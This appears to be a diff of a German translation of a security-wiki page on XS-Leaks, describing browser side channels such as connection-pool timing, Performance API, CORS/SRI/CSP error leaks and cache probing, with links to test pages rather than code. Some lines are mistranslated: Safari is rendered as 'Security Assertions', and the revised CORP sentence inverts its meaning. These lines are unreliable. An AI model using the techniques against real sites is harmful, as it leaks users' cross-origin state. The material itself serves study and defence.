Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell **Site Isolation** umgeht. **Site Isolation** ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Seiten direkt auf sensible Daten anderer Seiten zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht so die von **Site Isolation** eingerichteten Schutzbarrieren.
|
||||
|
||||
> [!WARNING]
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
@ -251,7 +251,7 @@ Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sper
|
||||
- **Inclusion Methods**: JavaScript-Anfragen
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Ein Angreifer könnte alle Sockets außer 1 sperren, die Ziel-Webseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt.
|
||||
- **Summary:** Ein Angreifer könnte alle Sockets außer 1 sperren, die Ziel-Webseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt hat.
|
||||
- **Code Example**:
|
||||
|
||||
{{#ref}}
|
||||
@ -260,10 +260,10 @@ xs-search/connection-pool-example.md
|
||||
|
||||
Browser verwenden Sockets für die Serverkommunikation, aber aufgrund der begrenzten Ressourcen des Betriebssystems und der Hardware sind **Browser gezwungen, ein Limit** für die Anzahl der gleichzeitigen Sockets festzulegen. Angreifer können diese Einschränkung durch die folgenden Schritte ausnutzen:
|
||||
|
||||
1. Bestimmen Sie das Socket-Limit des Browsers, zum Beispiel 256 globale Sockets.
|
||||
1. Bestimmen Sie das Socket-Limit des Browsers, z. B. 256 globale Sockets.
|
||||
2. Besetzen Sie 255 Sockets für eine längere Dauer, indem Sie 255 Anfragen an verschiedene Hosts initiieren, die darauf ausgelegt sind, die Verbindungen offen zu halten, ohne sie abzuschließen.
|
||||
3. Verwenden Sie den 256. Socket, um eine Anfrage an die Zielseite zu senden.
|
||||
4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, gibt dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Ableitung ist möglich, weil die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, ist somit direkt mit der Zeit verbunden, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.
|
||||
4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, gibt dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Schlussfolgerung ist möglich, da die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, ist somit direkt mit der Zeit verbunden, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.
|
||||
|
||||
Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,15 +272,15 @@ Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/con
|
||||
- **Inclusion Methods**: JavaScript-Anfragen
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**:
|
||||
- **Summary:** Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google **Chrome** ein Limit von **6 gleichzeitigen Anfragen an denselben Ursprung**. Wenn wir **5 blockieren** und dann eine **6.** Anfrage starten, können wir sie **zeitlich** erfassen, und wenn wir es geschafft haben, die **Opferseite dazu zu bringen, mehr** **Anfragen** an denselben Endpunkt zu senden, um den **Status** der **Seite** zu erkennen, wird die **6. Anfrage** **länger** dauern und wir können dies erkennen.
|
||||
- **Summary:** Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google **Chrome** ein Limit von **6 gleichzeitigen Anfragen an denselben Ursprung**. Wenn wir **5 blockieren** und dann eine **6.** Anfrage starten, können wir sie **zeitlich messen**. Wenn wir es geschafft haben, die **Opferseite dazu zu bringen,** mehr **Anfragen** an denselben Endpunkt zu senden, um den **Status** der **Seite** zu erkennen, wird die **6. Anfrage** **länger** dauern und wir können dies erkennen.
|
||||
|
||||
## Performance-API-Techniken
|
||||
|
||||
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bietet Einblicke in die Leistungskennzahlen von Webanwendungen, die durch die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) weiter angereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerk-Anfragezeiten, wie z. B. die Dauer der Anfragen. Wenn Server den Header `Timing-Allow-Origin: *` in ihren Antworten einfügen, werden zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit verfügbar.
|
||||
|
||||
Diese Fülle von Daten kann über Methoden wie [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) oder [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) abgerufen werden, was einen umfassenden Überblick über leistungsbezogene Informationen bietet. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln, die von [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) erhalten wurden, berechnet wird. Es ist jedoch zu beachten, dass die Präzision von `performance.now()` in bestimmten Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.
|
||||
Diese Fülle von Daten kann über Methoden wie [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) oder [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) abgerufen werden, was einen umfassenden Überblick über leistungsbezogene Informationen bietet. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln berechnet wird, die von [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) erhalten werden. Es ist jedoch zu beachten, dass die Präzision von `performance.now()` in bestimmten Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.
|
||||
|
||||
Neben Zeitmessungen kann die Performance-API auch für sicherheitsrelevante Einblicke genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im `performance`-Objekt in Chrome auf die Anwendung von `X-Frame-Options` hinweisen. Insbesondere wenn eine Seite aufgrund von `X-Frame-Options` daran gehindert wird, in einem Frame gerendert zu werden, wird sie nicht im `performance`-Objekt aufgezeichnet, was einen subtilen Hinweis auf die Rahmenrichtlinien der Seite gibt.
|
||||
Neben Zeitmessungen kann die Performance-API auch für sicherheitsrelevante Einblicke genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im `performance`-Objekt in Chrome auf die Anwendung von `X-Frame-Options` hinweisen. Insbesondere wird eine Seite, die aufgrund von `X-Frame-Options` daran gehindert wird, in einem Frame gerendert zu werden, nicht im `performance`-Objekt aufgezeichnet, was einen subtilen Hinweis auf die Rahmenrichtlinien der Seite gibt.
|
||||
|
||||
### Fehler-Leak
|
||||
|
||||
@ -310,7 +310,7 @@ In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browse
|
||||
- **Summary:** Anfragen, die zu einem Fehler führen, können nicht zusammengeführt werden.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
Die Technik wurde in einer Tabelle in dem genannten Papier gefunden, aber keine Beschreibung der Technik wurde darin gefunden. Sie können jedoch den Quellcode überprüfen, um es zu finden unter [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
Die Technik wurde in einer Tabelle in dem erwähnten Papier gefunden, aber es wurde keine Beschreibung der Technik gefunden. Sie können jedoch den Quellcode überprüfen, um danach zu suchen unter [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
### Leere Seiten-Leak
|
||||
|
||||
@ -330,7 +330,7 @@ Ein Angreifer kann erkennen, ob eine Anfrage zu einem leeren HTTP-Antwortkörper
|
||||
- **Summary:** Durch die Verwendung des XSS-Auditors in Sicherheitsbehauptungen können Angreifer spezifische Elemente von Webseiten erkennen, indem sie Änderungen in den Antworten beobachten, wenn gestaltete Payloads den Filtermechanismus des Auditors auslösen.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es weiterhin in SA vorhanden. Im Jahr 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Aufbauend darauf entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass in SA Seiten, die vom XSS-Auditor blockiert werden, keine Einträge in der Performance-API generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden könnten.
|
||||
In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es weiterhin in SA vorhanden. Im Jahr 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Auf dieser Grundlage entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass Seiten, die vom XSS-Auditor blockiert werden, in der Performance-API keine Einträge generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden könnten.
|
||||
|
||||
### X-Frame-Leak
|
||||
|
||||
@ -341,7 +341,7 @@ In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verh
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Wenn eine Seite **nicht erlaubt ist**, in einem **Iframe** **gerendert** zu werden, erstellt sie **keinen Leistungseintrag**. Infolgedessen kann ein Angreifer den Antwortheader **`X-Frame-Options`** erkennen.\
|
||||
Das Gleiche passiert, wenn Sie ein **embed**-Tag verwenden.
|
||||
Das Gleiche gilt, wenn Sie ein **embed**-Tag verwenden.
|
||||
|
||||
### Download-Erkennung
|
||||
|
||||
@ -381,7 +381,7 @@ In GC ist die **Dauer** für Anfragen, die zu einer **Weiterleitung** führen, *
|
||||
- **Summary:** Ressourcen, die durch CORP geschützt sind, erstellen keine Ressourcenzugangseinträge.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
In einigen Fällen kann der **nextHopProtocol-Eintrag** als Leak-Technik verwendet werden. In GC, wenn der **CORP-Header** gesetzt ist, wird der nextHopProtocol **leer** sein. Beachten Sie, dass SA für CORP-aktivierte Ressourcen überhaupt keinen Leistungseintrag erstellt.
|
||||
In einigen Fällen kann der **nextHopProtocol-Eintrag** als Leak-Technik verwendet werden. In GC, wenn der **CORP-Header** gesetzt ist, wird der nextHopProtocol **leer** sein. Beachten Sie, dass SA für CORP-aktivierte Ressourcen überhaupt keinen Leistungseintrag erstellen wird.
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -477,7 +477,7 @@ Die `MediaError`-Schnittstelle hat eine Nachrichten-Eigenschaft, die Ressourcen
|
||||
- **Inklusionsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL umgeleiteter Anfragen preis.
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Diese Technik ermöglicht es einem Angreifer, **das Ziel einer Umleitung einer Cross-Origin-Website zu extrahieren**, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Insbesondere wenn eine **CORS-aktivierte Anfrage** an eine Zielseite gesendet wird, die eine Umleitung basierend auf dem Benutzerstatus ausgibt, und der Browser die Anfrage anschließend ablehnt, wird die **vollständige URL des Ziels der Umleitung** in der Fehlermeldung offengelegt. Diese Schwachstelle offenbart nicht nur die Tatsache der Umleitung, sondern gibt auch den Endpunkt der Umleitung und alle **sensiblen Abfrageparameter** preis, die sie enthalten kann.
|
||||
@ -487,20 +487,20 @@ Diese Technik ermöglicht es einem Angreifer, **das Ziel einer Umleitung einer C
|
||||
- **Inklusionsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL umgeleiteter Anfragen preis.
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese **CORS-aktiviert** sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Security Assertions (SA) kann, ähnlich wie beim CORS-Fehler XS-Leak, eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich **diesen Fehler auslösen**, indem sie einen **falschen Hashwert** dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.
|
||||
Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese **CORS-aktiviert** sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Security Assertions (SA), ähnlich wie beim CORS-Fehler XS-Leak, kann eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich **diesen Fehler auslösen**, indem sie einen **falschen Hashwert** dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.
|
||||
|
||||
### CSP-Verletzung/Erkennung
|
||||
|
||||
- **Inklusionsmethoden**: Pop-ups
|
||||
- **Erkennbare Unterschiede**: Statuscode
|
||||
- **Weitere Informationen**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Zusammenfassung:** Wenn nur die Website des Opfers in der CSP erlaubt ist und wir versuchen, sie auf eine andere Domain umzuleiten, wird die CSP einen erkennbaren Fehler auslösen.
|
||||
- **Zusammenfassung:** Wenn nur die Website des Opfers in der CSP erlaubt ist und wir versuchen, sie zu einer anderen Domain umzuleiten, wird die CSP einen erkennbaren Fehler auslösen.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website auf eine andere Herkunft umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, **die Ziel-Domain auf der Angreifer-Website zuzulassen**. Sobald eine Anfrage an die Ziel-Domain gesendet wird, **leitet sie** zu einer Cross-Origin-Domain um. **CSP blockiert** den Zugriff darauf und erstellt einen **Verletzungsbericht, der als Leak-Technik verwendet wird**. Je nach Browser **kann dieser Bericht den Zielort der Umleitung offenbaren**.\
|
||||
Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website zu einem anderen Ursprung umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, **die Ziel-Domain auf der Angreifer-Website zuzulassen**. Sobald eine Anfrage an die Ziel-Domain gesendet wird, **leitet sie** zu einer Cross-Origin-Domain um. **CSP blockiert** den Zugriff darauf und erstellt einen **Verletzungsbericht, der als Leak-Technik verwendet wird**. Je nach Browser **kann dieser Bericht den Zielort der Umleitung offenbaren**.\
|
||||
Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann dennoch erkennen, dass eine Cross-Origin-Umleitung ausgelöst wurde.
|
||||
|
||||
### Cache
|
||||
@ -511,7 +511,7 @@ Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann
|
||||
- **Zusammenfassung:** Löschen Sie die Datei aus dem Cache. Öffnet die Zielseite und überprüft, ob die Datei im Cache vorhanden ist.
|
||||
- **Codebeispiel:**
|
||||
|
||||
Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrer Herkunft ist es möglich abzuleiten, ob eine Zielseite **eine bestimmte Datei angefordert hat**.
|
||||
Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrem Ursprung ist es möglich zu deduzieren, ob eine Zielseite **eine bestimmte Datei angefordert hat**.
|
||||
|
||||
Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Sie die **Ressource ungültig machen** (damit sie nicht mehr im Cache ist, siehe weitere Informationslinks), **eine Anfrage durchführen**, die diese Ressource laden könnte, und versuchen, die Ressource **mit einer fehlerhaften Anfrage** zu laden (z. B. mit einem zu langen Referer-Header). Wenn das Laden der Ressource **keinen Fehler ausgelöst hat**, liegt es daran, dass sie **im Cache war**.
|
||||
|
||||
@ -530,10 +530,10 @@ Eine neuartige Funktion in Google Chrome (GC) ermöglicht es Webseiten, eine **C
|
||||
- **Inklusionsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **Zusammenfassung:** Ressourcen, die mit der Cross-Origin Resource Policy (CORP) gesichert sind, werfen einen Fehler, wenn sie von einer nicht erlaubten Herkunft abgerufen werden.
|
||||
- **Zusammenfassung:** Ressourcen, die mit der Cross-Origin Resource Policy (CORP) gesichert sind, werfen einen Fehler, wenn sie von einem nicht erlaubten Ursprung abgerufen werden.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das, wenn es gesetzt ist, **Cross-Origin-Anfragen ohne CORS zu der angegebenen Ressource blockiert**. Das Vorhandensein des Headers kann erkannt werden, da eine durch CORP geschützte Ressource **einen Fehler auslöst, wenn sie abgerufen wird**.
|
||||
Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das, wenn es gesetzt ist, **keine CORS-Cross-Origin-Anfragen an die angegebene Ressource blockiert**. Das Vorhandensein des Headers kann erkannt werden, da eine durch CORP geschützte Ressource **einen Fehler auslöst, wenn sie abgerufen wird**.
|
||||
|
||||
### CORB
|
||||
|
||||
@ -545,25 +545,25 @@ Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das,
|
||||
|
||||
Überprüfen Sie den Link für weitere Informationen über den Angriff.
|
||||
|
||||
### CORS-Fehler bei falscher Origin-Reflexion <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||||
### CORS-Fehler bei falscher Ursprungsspiegelung <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||||
|
||||
- **Inklusionsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Zusammenfassung**: Wenn der Origin-Header im Header `Access-Control-Allow-Origin` reflektiert wird, ist es möglich zu überprüfen, ob eine Ressource bereits im Cache ist.
|
||||
- **Zusammenfassung**: Wenn der Origin-Header im Header `Access-Control-Allow-Origin` gespiegelt wird, ist es möglich zu überprüfen, ob eine Ressource bereits im Cache ist.
|
||||
- **Codebeispiel**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Falls der **Origin-Header** im Header `Access-Control-Allow-Origin` **reflektiert** wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die **Ressource** im **CORS**-Modus **abzurufen**. Wenn ein **Fehler** **nicht** ausgelöst wird, bedeutet das, dass sie **korrekt vom Web abgerufen wurde**. Wenn ein Fehler **ausgelöst wird**, liegt es daran, dass sie **aus dem Cache abgerufen wurde** (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).\
|
||||
Beachten Sie, dass dies nicht funktioniert, wenn der Origin nicht reflektiert wird, aber ein Platzhalter verwendet wird (`Access-Control-Allow-Origin: *`).
|
||||
Falls der **Origin-Header** im Header `Access-Control-Allow-Origin` **gespiegelt** wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die **Ressource** im **CORS**-Modus **abzurufen**. Wenn ein **Fehler** **nicht** ausgelöst wird, bedeutet das, dass sie **korrekt vom Web abgerufen wurde**, wenn ein Fehler **ausgelöst wird**, liegt es daran, dass sie **aus dem Cache abgerufen wurde** (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).\
|
||||
Beachten Sie, dass dies nicht funktioniert, wenn der Ursprung nicht gespiegelt wird, sondern ein Platzhalter verwendet wird (`Access-Control-Allow-Origin: *`).
|
||||
|
||||
## Lesbare Attribute Technik
|
||||
## Lesbare Attributtechnik
|
||||
|
||||
### Fetch-Umleitung
|
||||
|
||||
- **Inklusionsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Statuscode
|
||||
- **Weitere Informationen**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||||
- **Zusammenfassung:** GC und SA ermöglichen es, den Typ der Antwort (opaque-redirect) nach Abschluss der Umleitung zu überprüfen.
|
||||
- **Zusammenfassung:** GC und SA ermöglichen es, den Typ der Antwort (opaque-redirect) zu überprüfen, nachdem die Umleitung abgeschlossen ist.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
Durch das Einreichen einer Anfrage mit der Fetch API mit `redirect: "manual"` und anderen Parametern ist es möglich, das Attribut `response.type` zu lesen, und wenn es gleich `opaqueredirect` ist, war die Antwort eine Umleitung.
|
||||
@ -576,7 +576,7 @@ Durch das Einreichen einer Anfrage mit der Fetch API mit `redirect: "manual"` un
|
||||
- **Zusammenfassung:** Seiten, die durch die Cross-Origin Opener Policy (COOP) geschützt sind, verhindern den Zugriff von Cross-Origin-Interaktionen.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Ein Angreifer kann die Anwesenheit des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die **`contentWindow`-Referenz** zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die **`opener`-Eigenschaft** zu einem deutlichen Indikator: Sie ist **undefiniert**, wenn COOP aktiv ist, und **definiert** in dessen Abwesenheit.
|
||||
Ein Angreifer kann das Vorhandensein des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die **`contentWindow`-Referenz** zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die **`opener`-Eigenschaft** zu einem deutlichen Indikator: Sie ist **undefiniert**, wenn COOP aktiv ist, und **definiert** in dessen Abwesenheit.
|
||||
|
||||
### URL-Maximal-Länge - Serverseite
|
||||
|
||||
@ -586,7 +586,7 @@ Ein Angreifer kann die Anwesenheit des Cross-Origin Opener Policy (COOP)-Headers
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß sein könnte, sodass der Server mit einem Fehler antwortet und ein Alarm ausgelöst wird.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
